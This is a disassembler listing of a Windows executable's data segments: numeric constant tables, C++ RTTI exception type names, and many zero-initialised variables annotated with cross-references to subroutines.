dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_451310 dd offset off_43B000 ; DATA XREF: seg001:off_43B028o
; seg001:0043B154o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_451328 dd offset off_43B000 ; DATA XREF: seg001:off_43B040o
; seg001:0043B084o ...
align 10h
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_451348 dd offset off_43B000 ; DATA XREF: seg001:off_43B090o
; seg001:0043B0D4o ...
align 10h
a_?avlength_err db '.?AVlength_error@std@@',0
align 4
off_451368 dd offset off_43B000 ; DATA XREF: seg001:off_43B0E0o
; seg001:0043B124o ...
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_451388 dd offset off_43B000 ; DATA XREF: seg001:off_43B160o
; seg001:0043B19Co
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_430650
align 8
dword_4513A8 dd 2 dup(0) dword_4513B0 dd 0 dword_4513B4 dd 0 ; sub_4014F8+4EBr
dword_4513B8 dd 0 ; sub_419046+166r
dword_4513BC dd 0 ; sub_4014F8+880r ...
dword_4513C0 dd 0 ; sub_4014F8+A43r ...
dword_4513C4 dd 0 ; sub_4014F8+A13r ...
dword_4513C8 dd 0 ; sub_4014F8+4DBr
dword_4513CC dd 0 ; sub_4014F8+234r ...
dword_4513D0 dd 0 ; sub_4014F8+A3Br ...
dword_4513D4 dd 0 ; sub_4014F8+3C7r ...
dword_4513D8 dd 0 ; seg000:0041A502r
dword_4513DC dd 0 ; sub_4014F8+3CFr ...
dword_4513E0 dd 0 ; sub_418634+ADr
dword_4513E4 dd 0 ; sub_410418+115r ...
dword_4513E8 dd 0 ; sub_4014F8+D2r ...
dword_4513EC dd 0 ; sub_4014F8+A06r ...
dword_4513F0 dd 0 ; sub_4014F8+3E7r ...
dword_4513F4 dd 0 ; sub_4014F8+8ACr
dword_4513F8 dd 0 ; sub_4014F8+2F0r
dword_4513FC dd 0 ; sub_4014F8+8A4r
dword_451400 dd 0 dword_451404 dd 0 ; sub_4014F8+8B4r
dword_451408 dd 0 ; sub_4014F8+6D0r ...
dword_45140C dd 0 ; sub_4014F8+CAr ...
dword_451410 dd 0 dword_451414 dd 0 ; sub_4014F8+A9Cr ...
dword_451418 dd 0 ; sub_4014F8+F2r
dword_45141C dd 0 ; sub_4014F8+4D3r
dword_451420 dd 0 ; sub_409BE4+20r ...
dword_451424 dd 0 ; sub_4014F8+A33r ...
dword_451428 dd 0 ; sub_4014F8+754r
dword_45142C dd 0 ; sub_40DA10+8Br ...
dword_451430 dd 0 ; sub_40AA3E+9Ar
dword_451434 dd 0 ; sub_4014F8+86Dr
dword_451438 dd 0 ; sub_417BA1+15r
dword_45143C dd 0 ; sub_4014F8+A1Br ...
dword_451440 dd 0 ; sub_4014F8+3D7r ...
dword_451444 dd 0 ; sub_4014F8+3DFr ...
dword_451448 dd 0 ; seg000:00411BC9r
dword_45144C dd 0 ; sub_40132F+23r ...
dword_451450 dd 0 dword_451454 dd 0 ; sub_4014F8+A4Br ...
dword_451458 dd 0 dword_45145C dd 0 ; sub_4014F8+DAr ...
dword_451460 dd 0 ; sub_4014F8+BA4r ...
dword_451464 dd 0 ; sub_4014F8+6B3r ...
dword_451468 dd 0 ; sub_4014F8+890r
dword_45146C dd 0 ; sub_4014F8+A23r ...
dword_451470 dd 0 ; sub_4014F8+C3Fr
dword_451474 dd 0 ; seg000:00417D92r
dword_451478 dd 0 ; sub_413061+40r ...
dword_45147C dd 0 ; sub_4014F8+92Er
dword_451480 dd 0 dword_451484 dd 0 ; seg000:00417D9Ar
dword_451488 dd 0 ; sub_4014F8+6E8r ...
dword_45148C dd 0 ; sub_4014F8+873r
dword_451490 dd 0 ; sub_4014F8+23Cr ...
dword_451494 dd 0 ; sub_4014F8+1C2r
dword_451498 dd 0 ; sub_4014F8+7A4r ...
dword_45149C dd 0 ; sub_4014F8+718r ...
dword_4514A0 dd 0 ; sub_4014F8+6DCr ...
dword_4514A4 dd 0 ; sub_4014F8:loc_401DF1w
dword_4514A8 dd 0 dword_4514AC dd 0 ; sub_4014F8+7BCr ...
dword_4514B0 dd 0 ; sub_4014F8+341r ...
dword_4514B4 dd 0 ; sub_4014F8+3EFr ...
dword_4514B8 dd 0 ; sub_4014F8+C37r
dword_4514BC dd 0 ; sub_4014F8+888r
dword_4514C0 dd 0 ; sub_4014F8+227r ...
dword_4514C4 dd 0 ; sub_4014F8+1D2r ...
dword_4514C8 dd 0 ; sub_4014F8+898r
dword_4514CC dd 0 ; sub_4014F8+774r ...
dword_4514D0 dd 0 dword_4514D4 dd 0 ; sub_4014F8+79Cr ...
dword_4514D8 dd 0 ; sub_4014F8+334r ...
dword_4514DC dd 0 ; sub_4014F8+784r ...
dword_4514E0 dd 0 ; sub_4014F8+4AEr
dword_4514E4 dd 0 ; sub_4014F8+1DAr ...
dword_4514E8 dd 0 ; sub_4014F8+3BAr ...
dword_4514EC dd 0 dword_4514F0 dd 0 ; sub_4014F8+748r ...
dword_4514F4 dd 0 ; sub_4014F8+73Cr ...
dword_4514F8 dd 0 ; sub_4014F8+C2r ...
dword_4514FC dd 0 ; sub_4014F8+4CBr
dword_451500 dd 0 ; sub_4014F8+1BAr ...
dword_451504 dd 0 ; sub_4014F8+A5Br ...
dword_451508 dd 0 ; sub_4014F8+7ACr ...
dword_45150C dd 0 ; sub_4014F8+76Cr ...
dword_451510 dd 0 ; sub_4014F8+C47r
dword_451514 dd 0 ; sub_4014F8+BAr ...
dword_451518 dd 0 dword_45151C dd 0 ; sub_4014F8+78Cr ...
dword_451520 dd 0 ; sub_4014F8+77Cr ...
dword_451524 dd 0 dword_451528 dd 0 dword_45152C dd 0 ; sub_4014F8+C22r
dword_451530 dd 0 ; sub_4014F8+730r ...
dword_451534 dd 0 ; sub_4014F8+4BBr
dword_451538 dd 0 ; sub_4014F8+4E3r
dword_45153C dd 0 ; sub_4014F8+4C3r
dword_451540 dd 0 ; sub_40145D+80r ...
dword_451544 dd 0 ; sub_4014F8+1E2r ...
dword_451548 dd 0 ; sub_4014F8+A53r ...
dword_45154C dd 0 ; sub_4014F8+1ADr ...
dword_451550 dd 0 ; sub_4014F8+E2r ...
dword_451554 dd 0 ; sub_4014F8+764r ...
dword_451558 dd 0 ; sub_4014F8+B5Fr ...
dword_45155C dd 0 ; sub_418FDB+55r
dword_451560 dd 0 ; sub_4014F8+2D3r ...
dword_451564 dd 0 dword_451568 dd 0 ; sub_402533+D4r
dword_45156C dd 0 ; sub_4014F8+AE6r ...
dword_451570 dd 0 ; sub_4014F8+700r ...
dword_451574 dd 0 ; sub_4014F8+7B4r ...
dword_451578 dd 0 ; sub_4014F8+C2Fr
dword_45157C dd 0 ; sub_4014F8+724r ...
dword_451580 dd 0 ; sub_4014F8+A2Br ...
dword_451584 dd 0 ; sub_4014F8+794r ...
dword_451588 dd 0 ; sub_4014F8+6B9w ...
dword_45158C dd 0 ; sub_4014F8+70Cr ...
dword_451590 dd 0 ; sub_4014F8+B57r ...
dword_451594 dd 0 ; sub_4014F8+6C4r ...
dword_451598 dd 0 ; sub_4014F8+B4Ar ...
dword_45159C dd 0 ; sub_4014F8+ADr ...
dword_4515A0 dd 0 ; sub_4014F8+1CAr
align 8
dword_4515A8 dd 0 ; sub_4014F8+93Br
dword_4515AC dd 0 ; sub_4014F8+EAr ...
dword_4515B0 dd 0 ; sub_4014F8+12Bw ...
dword_4515B4 dd 0 ; sub_40216A+1Cr
dword_4515B8 dd 0 ; sub_4014F8:loc_40174Dw ...
dword_4515BC dd 0 ; sub_40216A+50r
dword_4515C0 dd 0 ; sub_4014F8:loc_401845w ...
dword_4515C4 dd 0 ; sub_40216A+84r
dword_4515C8 dd 0 ; sub_40216A:loc_40221Ar
dword_4515CC dd 0 ; sub_40216A+B8r
dword_4515D0 dd 0 ; sub_40216A:loc_40224Er
dword_4515D4 dd 0 ; sub_40216A+ECr
dword_4515D8 dd 0 ; sub_4014F8+8EFw ...
dword_4515DC dd 0 ; sub_40216A+120r
dword_4515E0 dd 0 ; sub_40216A:loc_4022B6r ...
dword_4515E4 dd 0 ; sub_40216A+154r
dword_4515E8 dd 0 ; sub_40216A:loc_4022EAr ...
dword_4515EC dd 0 ; sub_40216A+188r
dword_4515F0 dd 0 ; sub_40216A:loc_40231Er
dword_4515F4 dd 0 ; sub_40216A+1BCr
dword_4515F8 dd 0 ; sub_40216A:loc_402352r
dword_4515FC dd 0 ; sub_40216A+1F0r
dword_451600 dd 0 ; sub_40216A:loc_402386r
dword_451604 dd 0 ; sub_40216A+224r
dword_451608 dd 0 ; sub_40216A:loc_4023BAr
dword_45160C dd 0 ; sub_40216A+258r
dword_451610 dd 0 ; sub_40216A:loc_4023EEr
dword_451614 dd 0 ; sub_40216A+28Cr
align 10h
dword_451620 dd 5 dup(0) dword_451634 dd 0 dword_451638 dd 0 ; seg000:00403917r ...
dd 5 dup(0)
dword_451650 dd 0 ; sub_4160AF+60r
dd 2D9h dup(0)
dword_4521B8 dd 0 ; seg000:00405F0Ar ...
dd 7Fh dup(0)
dword_4523B8 dd 0 ; sub_408E7A+40w ...
dword_4523BC dd 0 ; sub_408E7A+46w ...
dword_4523C0 dd 0 ; sub_408E7A+3Ar ...
dword_4523C4 dd 0 ; sub_402D46+B9w ...
dword_4523C8 dd 0 ; sub_40905B+2Aw ...
dword_4523CC dd 0 ; seg000:0040499Ew ...
byte_4523D0 db 0 ; DATA XREF: sub_402D46+91o
; seg000:00405D5Br ...
align 4
dd 0C9Fh dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: seg002:004508A0o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: seg002:004508A8o
dd 73Bh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: seg002:off_44D328o
dd 37C0h dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: seg002:00450BE4o
dd 3FFFh dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: seg002:00450A00o
dd 6B42h dup(0)
db 2 dup(0)
word_490052 dw 0 ; DATA XREF: seg002:004469D8o
dd 2 dup(0)
dword_49005C dd 1479h dup(0) ; seg002:off_4453A8o
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: seg002:00450A60o
dd 8000h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: seg002:off_44D4BCo
dd 3CBEh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: seg002:0045092Co
dd 0BFh dup(0)
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: seg002:00450C18o
dd 1BFh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: seg002:00450B68o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: seg002:00450A84o
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: seg002:00450C10o
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: seg002:00450874o
; seg002:0045087Co
dd 3B81h dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: seg002:off_44CA48o
dd 37Ch dup(0)
dword_4D4F44 dd 100h dup(0) db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: seg002:004508F8o
dd 3Fh dup(0)
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: seg002:00450A08o
dd 275Ch dup(0)
dword_4DF1B8 dd 0 ; sub_408D3F+13o ...
dword_4DF1BC dd 0 ; seg000:loc_408115r ...
dd 5Ah dup(0)
byte_4DF328 db 0 ; DATA XREF: sub_402EAE+28r
; sub_402EAE+30o
align 4
dd 3 dup(0)
dword_4DF338 dd 0 dword_4DF33C dd 0 dword_4DF340 dd 2 dup(0) dword_4DF348 dd 0 dword_4DF34C dd 0 dword_4DF350 dd 0 dword_4DF354 dd 0 dword_4DF358 dd 2 dup(0) dword_4DF360 dd 0 dword_4DF364 dd 0 dword_4DF368 dd 0 byte_4DF36C db 0 ; DATA XREF: sub_408C38+6Ar
; sub_408C38+98w
align 10h
dd 2 dup(0)
dword_4DF378 dd 0 ; sub_409C2C+92w ...
dword_4DF37C dd 0 ; sub_40A146+D9w ...
dd 0Eh dup(0)
dword_4DF3B8 dd 0 ; sub_408FA6+19o
dword_4DF3BC dd 7EFh dup(0) dword_4E1378 dd 6 dup(0) ; sub_409F32+138o ...
dword_4E1390 dd 0 ; seg000:00409A56o
dword_4E1394 dd 0 ; seg000:00409A68r
dword_4E1398 dd 0 dword_4E139C dd 0 ; seg000:loc_409A23r
dword_4E13A0 dd 20h dup(0) ; seg000:00409A10o
dword_4E1420 dd 0 dword_4E1424 dd 0 ; seg000:00409A1Dw
dword_4E1428 dd 0 dd 2 dup(0)
dword_4E1434 dd 83h dup(0) dword_4E1640 dd 0 dword_4E1644 dd 0 dd 0CEh dup(0)
dword_4E1980 dd 0 ; seg000:00409B7Eo
dword_4E1984 dd 0A2h dup(0) dword_4E1C0C dd 41h dup(0) dword_4E1D10 dd 0 ; seg000:00409B31r
align 8
dword_4E1D18 dd 0 ; seg000:00409B90r
dword_4E1D1C dd 0 dword_4E1D20 dd 0 dword_4E1D24 dd 0 dd 0
dword_4E1D2C dd 0 dd 0
dword_4E1D34 dd 0 ; seg000:00409392r ...
dword_4E1D38 dd 0 ; seg000:00409386r ...
dword_4E1D3C dd 82h dup(0) byte_4E1F44 db 0 ; DATA XREF: sub_40A958+36r
align 4
dword_4E1F48 dd 0 dword_4E1F4C dd 0 byte_4E1F50 db 0 ; DATA XREF: sub_40AA3E+37r
align 4
dword_4E1F54 dd 0 dword_4E1F58 dd 0 ; seg000:loc_40B1B4r
dword_4E1F5C dd 0 ; seg000:0040B72Cw ...
dword_4E1F60 dd 40h dup(0) ; sub_40B7F9+C0o
dword_4E2060 dd 0 ; seg000:0040B28Er ...
dword_4E2064 dd 2Bh dup(0) dword_4E2110 dd 81h dup(0) db 2 dup(0)
word_4E2316 dw 0 ; DATA XREF: seg000:0040B56Bo
; seg000:0040B598o ...
dword_4E2318 dd 0 db 2 dup(0)
word_4E231E dw 0 ; DATA XREF: seg000:0040B2F0o
; seg000:0040B322o ...
dword_4E2320 dd 4 dup(0) dword_4E2330 dd 2Eh dup(0) db 2 dup(0)
word_4E23EA dw 0 ; DATA XREF: seg000:0040B27Bo
dd 1Eh dup(0)
dword_4E2464 dd 0 ; seg000:0040B738r ...
dword_4E2468 dd 0 ; seg000:0040B7E6r
dd 2 dup(0)
dword_4E2474 dd 2 dup(0) dword_4E247C dd 0 dword_4E2480 dd 2 dup(0) dword_4E2488 dd 40h dup(0) dword_4E2588 dd 0 ; sub_40DA10+85r
dword_4E258C dd 1Ah dup(0) dword_4E25F4 dd 0 dword_4E25F8 dd 0 dword_4E25FC dd 4 dup(0) byte_4E260C db 0 ; DATA XREF: sub_40EE3A+Dr
align 10h
byte_4E2610 db 0 ; DATA XREF: sub_40EE3A+25r
align 8
dword_4E2618 dd 0 dword_4E261C dd 0 dword_4E2620 dd 0 ; seg000:0040F88Fo ...
dword_4E2624 dd 0 ; seg000:0040F8ADr ...
dword_4E2628 dd 0 ; seg000:0040F8A2r ...
dword_4E262C dd 0 ; seg000:0040F868o ...
dword_4E2630 dd 0 ; sub_40F788+3Dr ...
align 8
dword_4E2638 dd 0 ; seg000:0040B04Br ...
align 10h
dword_4E2640 dd 0 ; seg000:0040FCA7w
dword_4E2644 dd 0 ; sub_410301+51r ...
dd 3 dup(0)
dword_4E2654 dd 3 dup(0) dword_4E2660 dd 0 align 8
dword_4E2668 dd 2 dup(0) byte_4E2670 db 0 ; DATA XREF: seg000:00412CF2r
align 4
dword_4E2674 dd 0 ; seg000:0041334Bo
dd 10Ah dup(0)
dword_4E2AA0 dd 80h dup(0) ; sub_415725+191o ...
byte_4E2CA0 db 0 ; DATA XREF: sub_415725+19Fw
; sub_415725+278o
align 2
word_4E2CA2 dw 0 ; DATA XREF: sub_415725+1ACw
word_4E2CA4 dw 0 ; DATA XREF: sub_415725+1B6w
word_4E2CA6 dw 0 ; DATA XREF: sub_415725+1BFw
byte_4E2CA8 db 0 ; DATA XREF: sub_415725+1C6w
byte_4E2CA9 db 0 ; DATA XREF: sub_415725+1CDw
word_4E2CAA dw 0 ; DATA XREF: sub_415725+1D4w
dword_4E2CAC dd 0 dword_4E2CB0 dd 0 word_4E2CB4 dw 0 ; DATA XREF: sub_415725+242w
word_4E2CB6 dw 0 ; DATA XREF: sub_415725+22Aw
word_4E2CB8 dw 0 ; DATA XREF: sub_415725+254w
word_4E2CBA dw 0 ; DATA XREF: sub_415725+1F5w
dword_4E2CBC dd 101h dup(0) dword_4E30C0 dd 0 ; sub_415725:loc_41585Br ...
align 10h
byte_4E30D0 db 0 ; DATA XREF: sub_415C17+244o
; sub_415C17+253w ...
byte_4E30D1 db 0 ; DATA XREF: sub_415C17+267w
word_4E30D2 dw 0 ; DATA XREF: sub_415C17+298w
word_4E30D4 dw 0 ; DATA XREF: sub_415C17+27Fw
; sub_415C17:loc_415FDDw
word_4E30D6 dw 0 ; DATA XREF: sub_415C17+29Ew
byte_4E30D8 db 0 ; DATA XREF: sub_415C17+28Bw
byte_4E30D9 db 0 ; DATA XREF: sub_415C17+260w
word_4E30DA dw 0 ; DATA XREF: sub_415C17+3E6w
; sub_415C17+410w
dword_4E30DC dd 0 ; sub_415C17+38Er
dword_4E30E0 dd 0 word_4E30E4 dw 0 ; DATA XREF: sub_415C17+388w
; sub_415C17+3DCo
word_4E30E6 dw 0 ; DATA XREF: sub_415C17+329w
; sub_415C17+34Er ...
dword_4E30E8 dd 0 ; sub_415C17+3CDw
dword_4E30EC dd 0 ; sub_415C17+39Fw ...
byte_4E30F0 db 0 ; DATA XREF: sub_415C17+305r
; sub_415C17+313w
byte_4E30F1 db 0 ; DATA XREF: sub_415C17+2CFw
; sub_415C17+398w ...
word_4E30F2 dw 0 ; DATA XREF: sub_415C17+2DDw
word_4E30F4 dw 0 ; DATA XREF: sub_415C17+3EDw
; sub_415C17+41Ew
word_4E30F6 dw 0 ; DATA XREF: sub_415C17+322w
word_4E30F8 dw 0 ; DATA XREF: sub_415C17+354w
; sub_415C17+426o
word_4E30FA dw 0 ; DATA XREF: sub_415C17+363w
; sub_415C17+3FDw
dword_4E30FC dd 0 dd 2 dup(0)
dword_4E3108 dd 0 ; sub_415C17+40Bo
dword_4E310C dd 0 byte_4E3110 db 0 ; DATA XREF: sub_415C17+335w
byte_4E3111 db 0 ; DATA XREF: sub_415C17+33Bw
word_4E3112 dw 0 ; DATA XREF: sub_415C17+348w
dword_4E3114 dd 7 dup(0) dword_4E3130 dd 0 ; sub_415C17+42Fr
dword_4E3134 dd 101h dup(0) ; sub_415C17+472o
dword_4E3538 dd 302h dup(0) ; seg000:00416291o ...
db 3 dup(0)
byte_4E4143 db 0 ; DATA XREF: seg002:004509DCo
dd 2 dup(0)
dword_4E414C dd 0 dword_4E4150 dd 1FDh dup(0) db 2 dup(0)
word_4E4946 dw 0 ; DATA XREF: seg002:0045081Co
; seg002:00450824o
dd 27Fh dup(0)
db 0
byte_4E5345 db 3 dup(0) ; DATA XREF: seg002:004509A8o
dd 87Ch dup(0)
dword_4E7538 dd 3 dup(0) ; seg000:004162D8o ...
dword_4E7544 dd 0Fh dup(0) dword_4E7580 dd 0 ; sub_416F00:loc_417082w ...
dword_4E7584 dd 0 ; sub_416F00+3Aw ...
dd 0
dword_4E758C dd 0 ; seg000:004170DCr
dd 7Fh dup(0)
dword_4E778C dd 0 ; seg000:004170ECw
dd 1944h dup(0)
dword_4EDCA0 dd 0 dword_4EDCA4 dd 0 ; seg002:0044CF54o
dword_4EDCA8 dd 0 dword_4EDCAC dd 0 dword_4EDCB0 dd 0 dword_4EDCB4 dd 0 dword_4EDCB8 dd 0 dword_4EDCBC dd 0 dword_4EDCC0 dd 0 dword_4EDCC4 dd 0 dword_4EDCC8 dd 0 dword_4EDCCC dd 0 dword_4EDCD0 dd 0 dword_4EDCD4 dd 82h dup(0) dword_4EDEDC dd 17h dup(0) ; sub_418184+131o ...
dword_4EDF38 dd 80h dup(0) ; seg000:00418FC2o
dword_4EE138 dd 0 ; sub_4184FE+4Dr ...
dword_4EE13C dd 17h dup(0) ; sub_418DE9+12Do
dword_4EE198 dd 80h dup(0) ; sub_41843F+7Do ...
byte_4EE398 db 0 ; DATA XREF: sub_4184FE+29r
; sub_4184FE+34w
align 4
dword_4EE39C dd 80h dup(0) ; sub_418755+88o ...
dword_4EE59C dd 81h dup(0) ; sub_41805B+50o ...
dword_4EE7A0 dd 0 ; sub_419602+123w
dword_4EE7A4 dd 0 ; seg000:004194E4r ...
dword_4EE7A8 dd 0 ; sub_419602+83o
dword_4EE7AC dd 0 ; sub_419602+11Bw
dword_4EE7B0 dd 0Dh dup(0) ; sub_419602:loc_419743o
dword_4EE7E4 dd 0 dd 0
dword_4EE7EC dd 0 dword_4EE7F0 dd 0 dword_4EE7F4 dd 0 dword_4EE7F8 dd 0Eh dup(0) dword_4EE830 dd 2 dup(0) byte_4EE838 db 0 ; DATA XREF: seg000:0041AAF2o
; seg000:0041AB35r
align 4
dd 3Fh dup(0)
word_4EE938 dw 0 ; DATA XREF: sub_41A764+2Fr
align 4
dword_4EE93C dd 2 dup(0) dword_4EE944 dd 2 dup(0) dword_4EE94C dd 2 dup(0) dword_4EE954 dd 0 ; sub_41B330:loc_41B76Br ...
dword_4EE958 dd 0 ; sub_41AF30+21Cw ...
dword_4EE95C dd 0 ; sub_41AF30+252r ...
dword_4EE960 dd 0 ; sub_41AF30+22Aw ...
dword_4EE964 dd 0 ; sub_41AF30+243w ...
dword_4EE968 dd 0 dword_4EE96C dd 0 ; seg000:00420B5Cw ...
dword_4EE970 dd 0 dword_4EE974 dd 0 ; seg000:00420B85r
dword_4EE978 dd 0 ; seg000:00420B8Er
dword_4EE97C dd 0 dword_4EE980 dd 0 align 8
dword_4EE988 dd 0 ; sub_42C180+81r ...
dword_4EE98C dd 0 dword_4EE990 dd 0 ; sub_4360C0+6r ...
align 8
dword_4EE998 dd 0 ; sub_42C2D0+3Cr
align 10h
byte_4EE9A0 db 0 ; DATA XREF: sub_41F050+8r
align 4
dword_4EE9A4 dd 0 dword_4EE9A8 dd 0 align 10h
dword_4EE9B0 dd 0 align 8
word_4EE9B8 dw 0 ; DATA XREF: seg000:0041EE0Dr
word_4EE9BA dw 0 ; DATA XREF: seg000:0041EDF8r
db 2 dup(0)
word_4EE9BE dw 0 ; DATA XREF: seg000:0041EDE2r
word_4EE9C0 dw 0 ; DATA XREF: seg000:0041EDCDr
word_4EE9C2 dw 0 ; DATA XREF: seg000:0041EDB8r
align 8
dword_4EE9C8 dd 0 ; sub_424520+2CEw ...
dword_4EE9CC dd 0 ; seg000:0041F32Fw
dword_4EE9D0 dd 0 dword_4EE9D4 dd 0 ; sub_42C180+1Br ...
dd 0
dword_4EE9DC dd 0 ; sub_420CD0+3r ...
dword_4EE9E0 dd 0 ; seg000:00420ED8w ...
dword_4EE9E4 dd 0 ; sub_41AE60+Fr ...
dword_4EE9E8 dd 0 ; seg000:00421949w ...
align 10h
dword_4EE9F0 dd 6 dup(0) dword_4EEA08 dd 6 dup(0) dword_4EEA20 dd 6 dup(0) dword_4EEA38 dd 6 dup(0) dword_4EEA50 dd 0 ; seg000:00426153w ...
dword_4EEA54 dd 0 ; sub_4269E0+C9w ...
dd 0
dword_4EEA5C dd 0 ; sub_42B320+140o
word_4EEA60 dw 0 ; DATA XREF: sub_42B320+E8r
align 4
dword_4EEA64 dd 0 ; sub_42B320+159o
dword_4EEA68 dd 0 ; sub_42B080+DDw ...
align 10h
dword_4EEA70 dd 0 ; sub_41FF60:loc_4200F6r ...
dword_4EEA74 dd 0 dword_4EEA78 dd 0 dword_4EEA7C dd 0 dword_4EEA80 dd 0 ; sub_41FF60+16Cr ...
dword_4EEA84 dd 0 dword_4EEA88 dd 0 ; seg000:0042BB8Bw ...
dword_4EEA8C dd 41h dup(0) dword_4EEB90 dd 0 ; sub_42C7E0+2Cw ...
dword_4EEB94 dd 0 ; sub_42CAE0+34r
dword_4EEB98 dd 0 ; seg000:0042D0F2w ...
dword_4EEB9C dd 0 ; seg000:0042D105w ...
dword_4EEBA0 dd 0 ; seg000:0042D119w ...
dword_4EEBA4 dd 0 ; seg000:0042D12Cw ...
dword_4EEBA8 dd 0 ; seg000:0042D095w
dword_4EEBAC dd 0 ; sub_42D5C0+39w ...
dword_4EEBB0 dd 0 ; sub_42D5C0:loc_42D633r ...
dword_4EEBB4 dd 0 ; sub_42D5C0+8Br ...
dword_4EEBB8 dd 0 ; seg000:0042E086w ...
dword_4EEBBC dd 0 dword_4EEBC0 dd 0 ; seg000:0042EE4Eo ...
align 8
dword_4EEBC8 dd 0 ; seg000:0042EE58o
dword_4EEBCC dd 10h dup(0) word_4EEC0C dw 0 ; DATA XREF: sub_42F1C0+FCr
word_4EEC0E dw 0 ; DATA XREF: seg000:0042EE68r
; sub_42F1C0+145r ...
word_4EEC10 dw 0 ; DATA XREF: sub_42F1C0+132r
word_4EEC12 dw 0 ; DATA XREF: sub_42F1C0+13Br
; sub_42F1C0+18Br
word_4EEC14 dw 0 ; DATA XREF: sub_42F1C0+126r
; sub_42F1C0+181r
word_4EEC16 dw 0 ; DATA XREF: sub_42F1C0+11Cr
; sub_42F1C0+177r
word_4EEC18 dw 0 ; DATA XREF: sub_42F1C0+113r
; sub_42F1C0+16Er
word_4EEC1A dw 0 ; DATA XREF: sub_42F1C0+109r
; sub_42F1C0+164r
dword_4EEC1C dd 0 ; seg000:0042EEAEr
dword_4EEC20 dd 10h dup(0) word_4EEC60 dw 0 ; DATA XREF: sub_42F1C0+43r
word_4EEC62 dw 0 ; DATA XREF: seg000:0042EE8Br
; sub_42F1C0+8Cr ...
word_4EEC64 dw 0 ; DATA XREF: sub_42F1C0+79r
word_4EEC66 dw 0 ; DATA XREF: sub_42F1C0+82r
; sub_42F1C0+D2r
word_4EEC68 dw 0 ; DATA XREF: sub_42F1C0+6Dr
; sub_42F1C0+C8r
word_4EEC6A dw 0 ; DATA XREF: sub_42F1C0+63r
; sub_42F1C0+BEr
word_4EEC6C dw 0 ; DATA XREF: sub_42F1C0+5Ar
; sub_42F1C0+B5r
word_4EEC6E dw 0 ; DATA XREF: sub_42F1C0+50r
; sub_42F1C0+ABr
dword_4EEC70 dd 0 ; seg000:0042EEA9r
dword_4EEC74 dd 0 ; seg000:0042EF76r ...
dword_4EEC78 dd 0 ; sub_42ED80+16r ...
dword_4EEC7C dd 0 ; sub_430650+37r ...
dword_4EEC80 dd 0 ; sub_4307A0+86r ...
dword_4EEC84 dd 0 ; sub_431120+93r ...
dword_4EEC88 dd 0 ; sub_431120+A3r ...
dword_4EEC8C dd 0 ; sub_431120+7Cr ...
dword_4EEC90 dd 0 ; sub_431450+B1r ...
dword_4EEC94 dd 0 ; seg000:00431B65r ...
dword_4EEC98 dd 0 ; seg000:00431B87r ...
dword_4EEC9C dd 3 dup(0) ; sub_42B080+F3o
word_4EECA8 dw 0 ; DATA XREF: seg000:004318E6r
align 10h
word_4EECB0 dw 0 ; DATA XREF: sub_431580+Fr
align 4
db 2 dup(0)
word_4EECB6 dw 0 ; DATA XREF: sub_431120+Fr
db 2 dup(0)
word_4EECBA dw 0 ; DATA XREF: sub_430880+Fr
word_4EECBC dw 0 ; DATA XREF: sub_430880+1Ar
align 10h
dword_4EECC0 dd 0 ; sub_432030+E5w ...
dword_4EECC4 dd 0 ; sub_432030+1Br ...
dword_4EECC8 dd 0 ; sub_432030+101r ...
dword_4EECCC dd 0 ; sub_431F70+47r ...
dword_4EECD0 dd 0 ; seg000:00431D2Br ...
dword_4EECD4 dd 0 ; seg000:00431D60r ...
dword_4EECD8 dd 0 ; seg000:loc_431DEEr ...
dword_4EECDC dd 0 ; sub_432030+DFr ...
dword_4EECE0 dd 0 ; seg000:00431D0Cw ...
dword_4EECE4 dd 0 byte_4EECE8 db 0 ; DATA XREF: sub_435830+18Fo
; sub_435830+1F2r ...
align 10h
dword_4EECF0 dd 0 ; seg002:off_45101Co ...
dword_4EECF4 dd 0 ; seg000:00435B16w ...
dword_4EECF8 dd 0 ; sub_436680+41w ...
dword_4EECFC dd 0 ; sub_436820+41w ...
